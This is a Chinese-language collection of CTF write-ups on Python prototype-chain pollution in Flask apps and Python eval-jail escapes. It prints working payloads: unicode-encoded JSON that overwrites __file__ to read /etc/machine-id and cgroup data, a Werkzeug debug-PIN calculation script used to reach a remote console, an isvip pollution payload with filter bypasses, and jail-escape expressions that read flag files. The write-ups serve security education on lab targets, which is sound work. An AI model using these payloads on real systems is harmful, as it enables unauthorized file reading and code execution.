原型链污染
EzFlask(DASCTF2023七月暑期挑战赛)
源码中有一段merge
函数
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
并在/register
路由进行了调用
@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"
然后在/
路由中还有一个__file__
读取
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()
然后dirsearch
扫描出来一个console
路由,这个是控制台,但是需要PIN
码
那么很明显了,就是通过修改__file__
读取文件,计算PIN
码进行RCE
关于如何计算PIN
码可以看看这篇文章:Flask框架实现debug模式下计算pin码
因为在源码中有一段
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
所以我们需要对传入的恶意payload
进行unicode
编码
我们先构造未编码前的payload
{
"username":"1",
"password":"1",
"__init__":{
"__globals__":{
"__file__":"/proc/self/cgroup"
}
}
}
unicode
编码后的:
{
"username":"1",
"password":"1",
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{
"\u005f\u005f\u0066\u0069\u006c\u0065\u005f\u005f":"/proc/self/cgroup"
}
}
}
这里我们就污染成功了
然后我们取cgroup
的值为
docker-aec7efb63a2cb8671f0c43f4fa2aa56e943a6b1480fb8454f2ee3df6a266c8cf.scope
这样构造拿到uuid
{
"username":"1",
"password":"1",
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{
"\u005f\u005f\u0066\u0069\u006c\u0065\u005f\u005f":"/sys/class/net/eth0/address"
}
}
}
记得把uuid
转为十进制
拿machine-id
{
"username":"1",
"password":"1",
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{
"\u005f\u005f\u0066\u0069\u006c\u0065\u005f\u005f":"/etc/machine-id"
}
}
}
最后的脚本
import hashlib
from itertools import chain
probably_public_bits = [
'root', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
'266374425460457', # str(uuid.getnode()), /sys/class/net/eth0/address
# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
#'96cec10d3d9307792745ec3b85c89620 867ab5d2-4e57-4335-811b-2943c662e936 aec7efb63a2cb8671f0c43f4fa2aa56e943a6b1480fb8454f2ee3df6a266c8cf'
'96cec10d3d9307792745ec3b85c89620docker-aec7efb63a2cb8671f0c43f4fa2aa56e943a6b1480fb8454f2ee3df6a266c8cf.scope'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
访问/console
路由,输入PIN
码,好的拿到控制台的权限,接下来就是rce
了
总算拿到flag了
ezpython(GeekChanlleng 2023)
官方docker:https://github.com/SycloverTeam/GeekChallenge2023/tree/main/Web/ezpython
import json
import os
from waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_string
app = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():
def __init__(self):
self.username=""
self.password=""
self.isvip=False
class hhh(User):
def __init__(self):
self.username=""
self.password=""
registered_users=[]
@app.route('/')
def hello_world(): # put application's code here
return render_template("welcome.html")
@app.route('/play')
def play():
username=session.get('username')
if username:
return render_template('index.html',name=username)
else:
return redirect(url_for('login'))
@app.route('/login',methods=['GET','POST'])
def login():
if request.method == 'POST':
username=request.form.get('username')
password=request.form.get('password')
user = next((user for user in registered_users if user.username == username and user.password == password), None)
if user:
session['username'] = user.username
session['password']=user.password
return redirect(url_for('play'))
else:
return "Invalid login"
return redirect(url_for('play'))
return render_template("login.html")
@app.route('/register',methods=['GET','POST'])
def register():
if request.method == 'POST':
try:
if waf(request.data):
return "fuck payload!Hacker!!!"
data=json.loads(request.data)
if "username" not in data or "password" not in data:
return "连用户名密码都没有你注册啥呢"
user=hhh()
merge(data,user)
registered_users.append(user)
except Exception as e:
return "泰酷辣,没有注册成功捏"
return redirect(url_for('login'))
else:
return render_template("register.html")
@app.route('/flag',methods=['GET'])
def flag():
user = next((user for user in registered_users if user.username ==session['username'] and user.password == session['password']), None)
if user:
if user.isvip:
data=request.args.get('num')
if data:
if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
flag = os.environ.get('geek_flag')
return render_template('flag.html',flag=flag)
else:
return "你的数字不对哦!"
else:
return "I need a num!!!"
else:
return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')
else:
return "先登录去"
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
if __name__ == '__main__':
app.run(host="0.0.0.0",port="8888")
解题思路
注意代码中的类与对象关系
class User():
def __init__(self):
self.username=""
self.password=""
self.isvip=False
class hhh(User): #hhh类继承User类,就是User为hhh的父类
def __init__(self):
self.username=""
self.password=""
user=hhh()
可以通过 类似ssti的方法 拿属性方法 —→ 控制
__class__ : 拿对象的类
__base__: 拿类的父类
__class__
user—->hhh类
__base__
hhh类—>User类
在merge(data,user)
进行污染
@app.route('/register',methods=['GET','POST'])
def register():
if request.method == 'POST':
try:
if waf(request.data):
return "fuck payload!Hacker!!!"
data=json.loads(request.data)
if "username" not in data or "password" not in data:
return "连用户名密码都没有你注册啥呢"
user=hhh()
merge(data,user)
registered_users.append(user)
except Exception as e:
return "泰酷辣,没有注册成功捏"
return redirect(url_for('login'))
else:
return render_template("register.html")
现在我们要通过污染user.isvip=true
绕过判断进入 另个判断
if user.isvip:
data=request.args.get('num')
if data:
if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
flag = os.environ.get('geek_flag')
return render_template('flag.html',flag=flag)
else:
return "你的数字不对哦!"
else:
return "I need a num!!!"
**注意:json识别unicode编码
**因此可以绕过关键词黑名单
payload: application/json
{"username":"admin","password":"123","__class__":{"__base__":{"isvip":"True"}}}
isvip unicode编码 \u0069\u0073\u0076\u0069\u0070
绕过 if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
法一:+
+123456789
法二:全角数字
123456789
注意不能全部都是 全角
反思总结
类似js原型链污染,传递形式类似,都有 merge 覆盖,但不同于js原型链污染
js原型链污染: 控制 父类 没有的属性 向上污染
python原型链污染: 控制 当先类的 属性
沙箱逃逸
calc_jail_beginner(JAIL)[HNCTF 2022 Week1]
连接靶机进入题目
nc node5.anna.nssctf.cn 28565 ─╯
_ ______ _ _ _ _
| | | ____| (_) | | (_) |
| |__ | |__ __ _ _ _ __ _ __ ___ _ __ | | __ _ _| |
| '_ \| __| / _` | | '_ \| '_ \ / _ \ '__| _ | |/ _` | | |
| |_) | |___| (_| | | | | | | | | __/ | | |__| | (_| | | |
|_.__/|______\__, |_|_| |_|_| |_|\___|_| \____/ \__,_|_|_|
__/ |
|___/
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
>
签到题,一把梭
open("flag").read()
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> open("flag").read()
Answer: flag=NSSCTF{25df994d-430f-498d-a4dd-ddb660ada60e}
]calc_jail_beginner_level1(JAIL)[HNCTF 2022 Week1]
附件信息
#the function of filter will banned some string ',",i,b
#it seems banned some payload
#Can u escape it?Good luck!
def filter(s):
not_allowed = set('"\'`ib')
return any(c in not_allowed for c in s)
WELCOME = '''
_ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | /_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| || |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ || |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_||_|
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))
连接靶机进入题目
nc node5.anna.nssctf.cn 28239 ─╯
_ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | /_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| || |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ || |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_||_|
__/ | _/ |
|___/ |__/
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
>
过滤了部分字符,使用chr拼接flag
open(chr(102)+chr(108)+chr(97)+chr(103)).read()
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> open(chr(102)+chr(108)+chr(97)+chr(103)).read()
Answer: flag=NSSCTF{37ce5cec-7057-42d9-97fd-09b4ebc0e443}
lake lake lake(JAIL)[HNCTF 2022 Week1]
附件信息
#it seems have a backdoor
#can u find the key of it and use the backdoor
fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"
def func():
code = input(">")
if(len(code)>9):
return print("you're hacker!")
try:
print(eval(code))
except:
pass
def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")
WELCOME = '''
_ _ _ _ _ _
| | | | | | | | | | | |
| | __ _| | _____ | | __ _| | _____ | | __ _| | _____
| |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
| | (_| | < __/ | | (_| | < __/ | | (_| | < __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
'''
print(WELCOME)
print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)
题目描述:
Cool job of u finished level3
Now it's time for level4,Try to leak the key!
连接靶机
nc node5.anna.nssctf.cn 28755 ─╯
_ _ _ _ _ _
| | | | | | | | | | | |
| | __ _| | _____ | | __ _| | _____ | | __ _| | _____
| |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ | | (_| | < __/ | | (_| | < __/ | | (_| | < __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
>
两个通道1和2,根据题目提示,经尝试发现大概意思是走1获取通关的key,然后拿着key进入2进行验证key,验证成功即可随便输入。
下面来实现
先走1,使用globals()
获取全局的变量
> 1
>globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f095fed0a90>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/./server.py', '__cached__': None, 'key_9b1d015375213e21': 'a34af94e88aed5c34fb5ccfe08cd14ab', 'func': <function func at 0x7f096006fd90>, 'backdoor': <function backdoor at 0x7f095ff31fc0>, 'WELCOME': '\n _ _ _ _ _ _ \n | | | | | | | | | | | | \n | | __ _| | _____ | | __ _| | _____ | | __ _| | _____ \n | |/ _` | |/ / _ \\ | |/ _` | |/ / _ \\ | |/ _` | |/ / _ | | (_| | < __/ | | (_| | < __/ | | (_| | < __/\n |_|\\__,_|_|\\_\\___| |_|\\__,_|_|\\_\\___| |_|\\__,_|_|\\_\\___| \n', 'input_data': '1'}
得到key为a34af94e88aed5c34fb5ccfe08cd14ab
然后进入2
Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 2
Please enter the admin key
>a34af94e88aed5c34fb5ccfe08cd14ab
>open("flag").read()
flag=NSSCTF{9838237e-fd38-45d4-a82d-f4a8e0c8eca3}